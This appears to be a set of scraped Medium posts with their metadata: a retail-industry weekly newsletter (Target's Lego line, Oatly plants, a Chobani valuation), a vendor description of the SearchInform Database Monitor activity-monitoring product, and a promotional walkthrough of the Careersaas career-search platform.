➜ Target’s Lego collaboration is what technicolor dreams are made of: Big-box retailer Target has a long history of high-low designer collaborations that offer fashion-forward product mashups at reasonable retail prices. In the past several decades, they’ve brought their cheap-chic magic to Marimekko, Missoni, and Rodarte, and more recently, Christopher John Rogers and Rachel Comey. The ever-famous Red Dot Boutique’s latest partnership is a little more youthful but no less stylish — this time, they’ve teamed up with the legacy toy brand Lego for a 300-piece collection of gifts, home goods, toys, and pet accessories inspired by the Danish toymaker’s signature primary-hued building blocks. The assortment also includes a wide range of apparel for kids and adults, with sizes extending up to 4X.
➜ Oatly plans 3 new facilities by 2023 to combat supply shortages: Oatly is building out its global manufacturing footprint “at an unprecedented pace” to address supply shortages and meet the growing demand for plant-based milk, CEO Toni Petersson said on the company’s Q3 earnings call. Three plants are set to open in the U.S., U.K. and China in 2023, which are expected to produce 450 million liters of product, according to COO Peter Bergh. The company already opened three facilities in Utah, Singapore and Ma’anshan, China, earlier this year. Oatly had to rely more on contract manufacturers this year after struggling to build inventory and meet global demand. Supply issues also pushed the company to prioritize production of oatmilk over other dairy-alternative food products.
➜ That big office building? It’s an e-Commerce warehouse now.: Allstate Corp.’s suburban campus outside Chicago, with its interconnected buildings, manicured grounds and acres of parking, represented a new vision for the U.S. office when it opened in 1967. That vision is now dead. The insurer reached a deal last month to sell most of the campus. The new owner plans to demolish the office buildings and convert the Northbrook, Ill., site into more than 3 million square feet of e-commerce warehouses and other logistics facilities. In New York and San Francisco, more than 80% of all office space is more than 30 years old, and Chicago isn’t far behind, according to Phil Ryan, director of U.S. office research at Jones Lang LaSalle Inc. These three cities also have some of the lowest office occupancy rates in the country
➜ Retail shopping center trends to watch in ’22: Real estate investment trust Phillips Edison and Company (PECO) is out with its predictions for the retail industry heading into 2022. PECO is literally and figuratively close to the ground when it comes to retail insights through its management of nearly 300 shopping centers that include Kroger, Public, Ahold Delhaize and Albertsons anchor stores. As retailers compete with restaurants for the share of the consumer food dollar, they can also heed foodservice trends likely to impact shoppers’ behavior. PECO highlighted the launch of digital-only restaurants and ghost kitchens in the quick-service and fast-casual spaces, noting that those trends reflect the restaurant industry’s drive to accommodate demand for off-premise dining, which is likely to continue beyond the pandemic.
➜ How money shapes retail: In early 2020, Retail Dive launched what was supposed to be an extended series of stories that looked at how financial interests and players had shaped the industry as well as the fates of individual companies. That was also the last story we formally published in the series. In March 2020, as everyone knows all too well, the world changed suddenly and dramatically. With retailers temporarily closing their entire chains, and the industry grappling with how to operate in or even just survive the pandemic, we shelved the “money in retail” series to focus on the ramifications of COVID-19.
TOP EXITS
➜ Chobani S-1: Sum of the parts here points to a $6B valuation for @chobani, but we all know @chobani is going to trade a lot higher than that. Why? (1) This is a beacon for every other ESG company and will attract capital commensurately; and (2) value will be put on their innovation platform + distribution capabilities. | https://medium.com/@loc.nht2710/retail-industry-weekly-newsletter-12-13-21-aeb1acbb704f | ['Loc Nguyen'] | 2021-12-13 12:55:10.534000+00:00 | ['Venture Capital', 'Brands', 'Ecommerce', 'Retail Technology'] |
Database Monitoring | Databases store a critical amount of information and often become the source of the largest data breaches. Database Monitor protects information in databases and shows the ways in which users work with them in order to detect a threat and prevent an incident.
The system is a DAM (Database Activity Monitoring) solution and conduct automated monitoring and auditing of operations on databases allowing a specialist to see who and why accesses a database, which information gets exposed or used, changed and removed. The software analyses the information which is exported from a database and detects an employee attempt to download, edit or delete confidential corporate details, such as tax reporting or client information, etc.
Database Monitor detects all the requests to databases from business applications or privileged users who access DBMS directly — for example, system administrators who have rights to manage databases. This allows a company to monitor their activity and alert to violations. Besides, the function helps discover spyware which accesses databases to steal data. Database Monitor controls DBMS efficiency — the software creates a report based on the speed of request processing and errors during request execution. The general statistics on database status is available as a user-friendly dashboard.
DAM solutions are needed to detect anomalous events in databases promptly. We went further and added investigating functions to the monitoring in order to fully protect databases from insider threats. Any request to databases can be found manually or automatically in Database Monitor: by phrase, by user, by computer or IP address from which it was sent. The same way the system analyses which information a database sends in response and allows to search by the content of the responses. For example, the cases when passport numbers are exported from a database can be found with the help of the search by a typical sequence of digits — thanks to this a customer can control all the dangerous events whether it is an export of confidential data or a large amount of requests from one user. The system will save all the details and alert to the possible incident.
The solution can be integrated with other information security and risk management systems, including DLP, file auditing, SIEM. When using Database Monitor together with SearchInform products a specialist can control security events at each level of IT infrastructure within one interface. This ensures a complex approach to data protection in databases: allows you to investigate incidents easily and gather evidence. | https://medium.com/major-threats-to-your-business-human-factor/database-monitoring-71910be81eb4 | ['Alex Parfentiev'] | 2020-06-05 15:31:58.674000+00:00 | ['Risk Management', 'Database', 'Monitoring', 'Security', 'Data'] |
Using Careersaas to identify your next career | LinkedIn is still today the primary means of locating a new job on the Internet. Whilst LinkedIn has reasonably good search functionality for locating roles that are “similar to” a certain job title, in my experience, LinkedIn does not always tick all boxes.
When building Careersaas, we approached this in a very different way, ensuring that within our job and remote job searches, we built an entirely new algorithm that extends beyond user’s original search terms in order to locate positions that are titled differently.
When searching for a job in 2018 as an Engineering Lead, I was disappointed to see that a great role that seemed a perfect fit for me as an Infrastructure Engineering Manager slipped by, simply because my search terms were wrong. I felt thatI had some of the requirements needed for the job - I’d even known the hiring manager responsible for the role — the problem was that LinkedIn didn’t identify the position in my searches. How could it be, that LinkedIn knew all of my skills, my experience and my current role, but their technology could not find job titles that were titled slightly differently?
Since day 1 at Careersaas, this is a problem that we set out to solve. Careersaas users making use our job and remote search functionality will notice that we invisibly extend search terms to match similar careers, giving you a broader picture of what is available the job market. Not only that, we have also repurposed this technology and built a fully fledged Career search platform so that you can go and seek those titles yourself.
How to use Career Search
On the Careersaas platform, click “Careers” in the menu bar. When you load this page for the first time, Careersaas will select a career at random. Please note, that user personality preferences configured at signup are utilised when choosing a career at random.
The search box on the left hand side provides an interactive search, so try to type a few characters such as “Software” to see some careers in that space that we have in our database.
Finding similar Careers
As you will see in our Facilities Manager search above, on the right hand side, we have located a handful of roles that are similar to that career search. This is also what we would present to you in your job search if you ran a direct Facilities Manager query within the job search platform.
Receive Email Alerts when jobs are found near you
Clicking the “Enable email alerts” button will enable functionality that identifies roles within your local geographic area, and Careersaas will send you an email as soon as a position is found or posted on the Internet. Effectively, Careersaas is monitoring the job market 24/7 for you as soon as a Career of that type is found near you.
Alerts within Careersaas
You can access this page through clicking “Alerts” at the top right hand corner of the Careersaas application.
Tracking a career over time
Much like companies grow, as do careers and the number of positions within each. Careersaas has built functionality that lets you track this change over time, helping users stay on top of recent hiring trends. As you can see in the role below, an increase of 139% from last week to this has been found and presented in the graph.
Careersearch over time
We see this technology to be crucial when there are constantly rapid changes within the job market, including current climate and other external factors. Many of our users appreciate this data during the ongoing coronavirus pandemic, as they can identify jobs that are impacted by shifts within the market.
Our intuitive platform also tells a user just how long a Career normally stays open for, before it is either filled or closed.
How to access Careersaas
Careersaas is a free platform focusing primarily on remote jobs and internships.
If you would like to view our platform for yourself, head over to https://app.careersaas.com, or if you’d just like to learn a little bit more about our company, please visit https://www.careersaas.com | https://medium.com/@careersaas/using-careersaas-to-identify-your-next-career-de83625dd72e | [] | 2021-01-18 13:17:47.703000+00:00 | ['Remote Working', 'Search', 'Jobs', 'Careers'] |
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